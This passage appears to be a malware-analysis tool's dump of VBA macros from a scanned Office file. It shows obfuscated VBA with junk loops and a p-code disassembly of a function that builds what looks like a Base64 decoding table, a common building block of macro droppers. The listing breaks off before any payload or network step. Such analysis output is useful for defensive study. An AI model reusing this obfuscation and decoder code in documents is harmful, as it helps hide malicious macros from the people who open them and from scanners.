tWAkPuNP6Bj = CInt(WTSVk8n8juH)
For InwQqmQStQq = tWAkPuNP6Bj To 25
J5o9b7PRpHOkGi = J5o9b7PRpHOkGi + 4
Next InwQqmQStQq
Dim PBsQB0L9n8DwNj As Integer
Dim MyNQuNpb5x6 As String
PBsQB0L9n8DwNj = 6225
Dim l4gxfcgZoXq As Integer
MyNQuNpb5x6 = Right(CStr(PBsQB0L9n8DwNj), 1)
l4gxfcgZoXq = CInt(MyNQuNpb5x6)
For ZF2BYllsWjz = l4gxfcgZoXq To 62
PBsQB0L9n8DwNj = PBsQB0L9n8DwNj + 4
Next ZF2BYllsWjz
End Function

' Processing file: /opt/analyzer/scan_staging/3d2bb73e3c864d0e86d4894340b0a870.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 938 bytes
' Macros/VBA/GXtyD0 - 29749 bytes
' Line #0:
' 	ConstFuncExpr 
' 	LitVarSpecial (True)
' 	FuncDefn (Public Function SGImjqint1m1tQIS(qQtdXtoKmO1Tj9O As String) As String)
' Line #1:
' 	Dim (Static) 
' 	LitDI2 0x0000 
' 	LitDI2 0x00FF 
' 	VarDefn Dmhs55UkpByQE5
' Line #2:
' 	Dim 
' 	VarDefn qphckLXzYrLCSG
' 	VarDefn A71v9RmoGLK (As Integer)
' Line #3:
' 	LitDI2 0x0005 
' 	St qphckLXzYrLCSG 
' Line #4:
' 	LitDI2 0x0003 
' 	St A71v9RmoGLK 
' Line #5:
' 	LbMark 
' 	Ld Pw4hPTIAmQ7 
' 	LitDI2 0x0000 
' 	Ne 
' 	LbIf 
' Line #6:
' 	Ld Pw4hPTIAmQ7 
' 	LitDI2 0x0002 
' 	Add 
' 	St Pw4hPTIAmQ7 
' Line #7:
' 	Dim 
' 	VarDefn e739I6TzG1B (As Variant)
' Line #8:
' 	ElseBlock 
' Line #9:
' 	Dim 
' 	VarDefn e739I6TzG1B (As Object)
' Line #10:
' 	LbMark 
' 	LbEndIf 
' Line #11:
' 	Ld qphckLXzYrLCSG 
' 	Ld A71v9RmoGLK 
' 	Gt 
' 	IfBlock 
' Line #12:
' 	StartForVariable 
' 	Ld j9xDGYH3JiWRSY 
' 	EndForVariable 
' 	Ld A71v9RmoGLK 
' 	Ld qphckLXzYrLCSG 
' 	For 
' Line #13:
' 	Ld A71v9RmoGLK 
' 	Ld qphckLXzYrLCSG 
' 	Div 
' 	St A71v9RmoGLK 
' Line #14:
' 	StartForVariable 
' 	Ld j9xDGYH3JiWRSY 
' 	EndForVariable 
' 	NextVar 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Dim 
' 	VarDefn iarYrsu9RqJ7
' 	VarDefn FtjTmEPwCevGNUG
' Line #17:
' 	Dim 
' 	VarDefn Td9K4Ae6R9QC7V
' 	VarDefn weRK5rkUIJO (As String)
' Line #18:
' 	LitDI2 0x0009 
' 	St Td9K4Ae6R9QC7V 
' Line #19:
' 	LitDI2 0x0002 
' 	St weRK5rkUIJO 
' Line #20:
' 	LbMark 
' 	Ld Td9K4Ae6R9QC7V 
' 	Ld weRK5rkUIJO 
' 	Gt 
' 	LbIf 
' Line #21:
' 	Dim 
' 	VarDefn MvqWFRT69Ad (As Ptr)
' Line #22:
' 	LbMark 
' 	LbElse 
' Line #23:
' 	Dim 
' 	VarDefn MvqWFRT69Ad (As Integer)
' Line #24:
' 	LitDI2 0x0009 
' 	LitDI2 0x0002 
' 	Add 
' 	St MvqWFRT69Ad 
' Line #25:
' 	Dim 
' 	VarDefn LoURdEAiR2N (As Integer)
' Line #26:
' 	StartForVariable 
' 	Ld LoURdEAiR2N 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld Td9K4Ae6R9QC7V 
' 	For 
' Line #27:
' 	Ld LoURdEAiR2N 
' 	LitDI2 0x0001 
' 	Add 
' 	St LoURdEAiR2N 
' Line #28:
' 	StartForVariable 
' 	Ld LoURdEAiR2N 
' 	EndForVariable 
' 	NextVar 
' Line #29:
' 	LbMark 
' 	LbEndIf 
' Line #30:
' 	Dim 
' 	VarDefn ipKoJY3R2XqdeI552u (As Long)
' 	VarDefn gpEz6tIxklb8AUyP (As Long)
' Line #31:
' 	Dim 
' 	VarDefn jfz0UvPluMxpkR (As Integer)
' Line #32:
' 	StartForVariable 
' 	Ld tqnXT24JkiA 
' 	EndForVariable 
' 	LitDI2 0x0005 
' 	LitDI2 0x0039 
' 	For 
' Line #33:
' 	Ld tqnXT24JkiA 
' 	St jfz0UvPluMxpkR 
' Line #34:
' 	StartForVariable 
' 	Ld tqnXT24JkiA 
' 	EndForVariable 
' 	NextVar 
' Line #35:
' 	LitDI2 0x0000 
' 	ArgsLd Dmhs55UkpByQE5 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #36:
' 	Dim 
' 	VarDefn SYIBmWxO5cFmNa (As String)
' Line #37:
' 	StartForVariable 
' 	Ld ipKoJY3R2XqdeI552u 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x00FF 
' 	For 
' Line #38:
' 	Dim 
' 	VarDefn JjOg7MWo20TdZd (As Object)
' Line #39:
' 	LitDI2 0x00FF 
' 	Ld ipKoJY3R2XqdeI552u 
' 	ArgsSt Dmhs55UkpByQE5 0x0001 
' Line #40:
' 	StartForVariable 
' 	Ld ipKoJY3R2XqdeI552u 
' 	EndForVariable 
' 	NextVar 
' Line #41:
' 	StartForVariable 
' 	Ld ipKoJY3R2XqdeI552u 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0019 
' 	For 
' Line #42:
' 	Dim 
' 	VarDefn Rf1PkQhnXL8S17 (As Integer)
' Line #43:
' 	Dim 
' 	VarDefn XJdEj4UyCNd (As String)
' Line #44:
' 	LitDI2 0x16E5 
' 	St Rf1PkQhnXL8S17 
' Line #45:
' 	Dim 
' 	VarDefn Zq9vyJqK9cn (As Integer)
' Line #46:
' 	Ld Rf1PkQhnXL8S17 
' 	Coerce (Str) 
' 	LitDI2 0x0001 
' 	ArgsLd Right 0x0002 
' 	St XJdEj4UyCNd 
' Line #47:
' 	Ld XJdEj4UyCNd 
' 	Coerce (Int) 
' 	St Zq9vyJqK9cn 
' Line #48:
' 	StartForVariable 
' 	Ld bAMGtUm9DlH 
' 	EndForVariable 
' 	Ld Zq9vyJqK9cn 
' 	LitDI2 0x0055 
' 	For 
' Line #49:
' 	Ld Rf1PkQhnXL8S17 
' 	LitDI2 0x0002 
' 	Add 
' 	St Rf1PkQhnXL8S17 
' Line #50:
' 	StartForVariable 
' 	Ld bAMGtUm9DlH 
' 	EndForVariable 
' 	NextVar 
' Line #51:
' 	Ld ipKoJY3R2XqdeI552u 
' 	Ld ipKoJY3R2XqdeI552u 
' 	LitDI2 0x0041 
' 	Add 
' 	ArgsSt Dmhs55UkpByQE5 0x0001 
' Line #52:
' 	StartForVariable 
' 	Ld ipKoJY3R2XqdeI552u 
' 	EndForVariable 
' 	NextVar 
' Line #53:
' 	Dim 
' 	VarDefn bK3L0ulylwXVVR (As String)
' Line #54:
' 	StartForVariable 
' 	Ld ipKoJY3R2XqdeI552u 
' 	EndForVariable 
' 	LitDI2 0x001A 
' 	LitDI2 0x0033 
' 	For 
' Line #55:
' 	Dim 
' 	VarDefn LwCn4HOKxLzINy (As String)
' Line #56:
' 	Ld ipKoJY3R2XqdeI552u 
' 	Ld ipKoJY3R2XqdeI552u 
' 	LitDI2 0x0047 
' 	Add 
' 	ArgsSt Dmhs55UkpByQE5 0x0001 
' Line #57:
' 	StartForVariable 
' 	Ld ipKoJY3R2XqdeI552u 
' 	EndForVariable 
' 	NextVar 
' Line #58:
' 	Dim 
' 	VarDefn MqBw5UkowiGRLI (As Integer)
' Line #59:
' 	Dim 
' 	VarDefn YkIDc6vF7Ax (As String)
' Line #60:
' 	LitDI2 0x1577 
' 	St MqBw5UkowiGRLI 
' Line #61:
' 	Dim 
' 	VarDefn JeDQxAFIpjK (As Integer)
' Line #62:
' 	Ld MqBw5UkowiGRLI 
' 	Coerce (Str) 
' 	LitDI2 0x0001 
' 	ArgsLd Right 0x0002 
' 	St YkIDc6vF7Ax 
' Line #63:
' 	Ld YkIDc6vF7Ax 
' 	Coerce (Int) 
' 	St JeDQxAFIpjK 
' Line #64:
' 	StartForVariable 
' 	Ld l0VABWtUGKG 
' 	EndForVariable 
' 	Ld JeDQxAFIpjK 
' 	LitDI2 0x0038 
' 	For 
' Line #65:
' 	Ld MqBw5UkowiGRLI 
' 	LitDI2 0x0002 
' 	Add 
' 	St MqBw5UkowiGRLI 
' Line #66:
' 	StartForVariable 
' 	Ld l0VABWtUGKG 
' 	EndForVariable 
' 	NextVar 
' Line #67:
' 	StartForVariable 
' 	Ld ipKoJY3R2XqdeI552u 
' 	EndForVariable 
' 	LitDI2 0x0034 
' 	LitDI2 0x003D 
' 	For 
' Line #68:
' 	Dim 
' 	VarDefn KqtvRzGHSpAyLk
' 	VarDefn vGqgK1JXHRa (As String)
' Line #69:
' 	LitDI2 0x0002 
' 	St KqtvRzGHSpAyLk 
' Line #70:
' 	LitDI2 0x0008 
' 	St vGqgK1JXHRa 
' Line #71:
' 	LbMark 
' 	Ld KqtvRzGHSpAyLk 
' 	Ld vGqgK1JXHRa 
' 	Gt 
' 	LbIf 
' Line #72:
' 	Dim 
' 	VarDefn Vkxyleup7K6 (As Ptr)
' Line #73:
' 	LbMark 
' 	LbElse 
' Line #74:
' 	Dim 
' 	VarDefn Vkxyleup7K6 (As Integer)
' Line #75:
' 	LitDI2 0x0002 
' 	LitDI2 0x0008 
' 	Add 
' 	St Vkxyleup7K6 
' Line #76:
' 	Dim 
' 	VarDefn IqsmUkl5Jpz (As Integer)
' Line #77:
' 	StartForVariable 
' 	Ld IqsmUkl5Jpz 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld KqtvRzGHSpAyLk 
' 	For 
' Line #78:
' 	Ld IqsmUkl5Jpz 
' 	LitDI2 0x0001 
' 	Add 
' 	St IqsmUkl5Jpz 
' Line #79:
' 	StartForVariable 
' 	Ld IqsmUkl5Jpz 
' 	EndForVariable 
' 	NextVar 
' Line #80:
' 	LbMark 
' 	LbEndIf 
' Line #81:
' 	Ld ipKoJY3R2XqdeI552u 
' 	Ld ipKoJY3R2XqdeI552u 
' 	LitDI2 0x0004 
' 	Sub 
' 	ArgsSt Dmhs55UkpByQE5 0x0001 
' Line #82:
' 	StartForVariable 
' 	Ld ipKoJY3R2XqdeI552u 
' 	EndForVariable 
' 	NextVar 
' Line #83:
' 	Dim 
…